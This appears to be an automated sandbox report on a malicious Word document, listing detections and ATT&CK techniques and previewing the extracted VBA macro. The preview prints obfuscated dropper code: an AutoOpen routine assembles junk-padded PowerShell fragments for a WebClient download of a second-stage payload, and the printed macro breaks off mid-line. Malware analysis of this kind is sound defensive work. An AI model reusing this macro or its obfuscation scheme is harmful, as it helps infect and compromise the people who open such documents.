MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample is a malicious Office document containing a VBA macro. The 'AutoOpen' macro is designed to execute a command using the Shell() function, indicating it's intended to download and run a secondary payload. The presence of legacy WordBasic markers and the ClamAV detection further confirm its malicious nature.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6448172-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6448172-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 24480 bytes |
SHA-256: 80a8a6fea25059275f3bcb4ae57f6152111744adac6345053d4a6b4e88847fcd |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "fKEQYRtjo"
Sub AutoOpen()
On Error Resume Next
zkGuFnGld = (wvUrTwd - Int(UiSzHjHTJ) * GSDjWGQisC / Oct(EqidmEOYXAsjw) - (MMAdXnlidfK - Sin(1466980)))
QZNapGaiP = (kVUfsvlcOlFw - Int(tQBUPG) * NDSfopKzKm / Oct(USZciI) - (upsBQYCRPTJol - Sin(2135478)))
XoahDpqDk = (RcfkjkQmscVQ - Int(MmtcWZqnWAu) * dzvbSBqEDjosRk / Oct(DXvIpHGNuJM) - (duBvbloD - Sin(7128638)))
Application.Run "bDiSpDpEiCctPj", dJYVcjRAapzms
VKabiLicz = (LmunQ - Int(sFpWlASGjN) * CoNHdhu / Oct(MVjLvclzIBi) - (GkUijwjzUsT - Sin(8996467)))
RBbnjthEA = (EFLutu - Int(DJEwd) * SUibi / Oct(uNTBl) - (uAzNPUdjAjPXm - Sin(962160)))
End Sub
Function dJYVcjRAapzms()
On Error Resume Next
jGJhPDjp = (JpY - Int(vlDjvCND) * sklurnEOKohJL / Oct(zobcconJ) - (jFOMi - Sin(2468603)))
joBRTwihkQ = (zIfKK - Int(ALzI) * pzAqPkPEvUal / Oct(FjaBpc) - (aCwrYdALt - Sin(7848698)))
TGtKM = (iUwwJJ - Int(pdzZRrWXRFbiw) * UhPnAJSl / Oct(DLGEwQPGZRI) - (wiA - Sin(6994396)))
kAVRYfN = iwGAWiECqlFowv + Mid("doHVSvtuZjscdQDq+PDq'+'c+489+489CFPDq+PQth489+489'+'+Q489+489thDqceCPDq+PD'+'qFPDq+PDqc+CFPDq+PDqcw-objecCFc+CPDqQth+Qth+PD489+489qFPDq+PDqcP489+489DQth+Qthq+P'+'DqtQth+QthCFc) raPDq+PDqndPDq+PDqoPOOLfhDKUniQRkZvNuV", 15, 183)
VkNcEqn = (niLJz - Int(DutOLmaHB) * CNqVVDOCspRZoT / Oct(QKldhuPSizEkmY) - (utKvhBz - Sin(4764290)))
wcFZSY = (kTIQKIdFZRvc - Int(dUEmvHYRScdY) * YOtluQlztNlwH / Oct(TwKUdrFP) - (quGsAXRrfsPk - Sin(2857149)))
PsXEHiw = (oXfrr - Int(HSoniESHHAj) * IYCroYkZbVGF / Oct(pEmWzwAOfiYGS) - (wFKji - Sin(2449724)))
moLQnpaKwpd = UAMukOqu + Mid("ilsVZwZjOCEfzkkNCFcwCFc+CPDq+PDqFcP'+'Dq+PDq-objecPDq+PDqtPDq+PDq489+489C'+'Fc) PDq+PDqSystem.PDq+PDqNPDq+Qth+QthPD489+489qet.PDq+P489+489DqWe'+'bCPDq+PDql489+'+Iock", 17, 145)
VpkZZCTc = (vtzfkKCfadq - Int(kWOoURmbs) * OOcaPr / Oct(zXzLXWQwZaZch) - (zzf - Sin(2305147)))
mlzGtGZhb = (sRwrz - Int(piilCKuKldG) * SNzzsvrMzLRQO / Oct(ODwcAfzbhslKWP) - (RwWrGNwMuY - Sin(193730)))
fiwOzaYc = (nli - Int(OWFwrM) * cavq / Oct(HMiYbhhPuZ) - (jPqD - Sin(797708)))
llhuoZw = bqJwiHGRIlM + Mid("Jmivbijrp://PDq+PD'+'qbellPDq489+489+LfkkD", 9, 29)
qwiSiwci = (WTFiq - Int(YFEOSoOWj) * IEc / Oct(kAbcouIHubbAI) - (NwkVNXHFloMiZu - Sin(7434971)))
uLUuVjblM = (wkRWaVrdtwT - Int(KcnSjS) * kRnqF / Oct(fPnQFVOVJirj) - (VrFGbQEquJB - Sin(8754053)))
viAqqXJr = (GlC - Int(JtLivGE) * nbFvBz / Oct(jtzRfKLZBzlFlW) - (OdS - Sin(7965914)))
TbhuqU = fKqDiXoQTmFouQ + Mid("zXktmAHQthPDq489+489Qth,[sT'+'RING][ChAR]'+'39) zNI.((489+489Ge489+489t-vARIaBLE Qth489+489*mDR*Qth).NAME[3,11,2]-jO489+489INQthQth)489) -cREPlAce ([char]81+[char]116+[char]104),zLznjPZXTNdXuzwKqNWYEClYizwtqFw", 8, 172)
XGuCKC = (tMEKJIUWJwTKl - Int(BSrkM) * cLcwLpWfi / Oct(XkCDrt) - (MtFJwfWdMS - Sin(3223169)))
hLZSjfdJ = (jCDcWRhjFwT - Int(ostbjHiRHki) * GTjjGVwWGvvO / Oct(HjlKJbN) - (TUDmutFk - Sin(9808018)))
aKZGnJtfv = (wXMVDkBdk - Int(zjsziHcbwHwJQQ) * wcuLbtmHSzqG / Oct(cBJfrOcnbGH) - (RdnrdoGviEI - Sin(1356337)))
RtKbtUYs = zXDalBtopw + Mid("UczwOHTTcWXIfcdlOwzVhzPmWbqtLGjbQWkDq:Qt489+489h+QthPDq+PDq/PDq+PDq/actPDq+PDqiPDq+PzWA", 36, 49)
rszGdOQI = (vwTSCozWVmYJQz - Int(pIjKCX) * CMiJSOBHSmbis / Oct(JWEHjimUuwoLJ) - (rEqnaCvHktV - Sin(7182070)))
JMQJYztm = (OUmimHV - Int(lfDTpGiSjU) * ERPO / Oct(nDpzCmLmzNXAIQ) - (DoF - Sin(1155192)))
TvHZVGIi = (mTlvNpAZ - Int(jDzFqv) * RYczTQWcjiJ / Oct(RDQLJpJ) - (RujNlmY - Sin(3229271)))
RjwGDazIf = IFKZazoAq + Mid("VMzkiwzvSksMwfmRKwh+Qth PDqL7kPDq,[CHaQth+QthR]96 -CR489+489Qth+QthePlacE PDqCQFTIwkzsMfjGj", 19, 63)
qUMKFuK = (FWzJ - Int(ffhHK) * rpPhbR / Oct(oONhsFRK) - (swzQAjCkmWIh - Sin(786622)))
bwEwNKF = (EiOASifksCP - Int(OtXirrBsn) * JtQInfuFIok / Oct(ICiFzbIHFv) - (YUI - Sin(2435983)))
uQuCpWQAW = (iRjL - Int(VUUkJvzqnuarik) * Amrakfc / Oct(srniSm) - (rIYkniJVp - Sin(6184498)))
ozskR = YuRUTmQc + Mid("
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.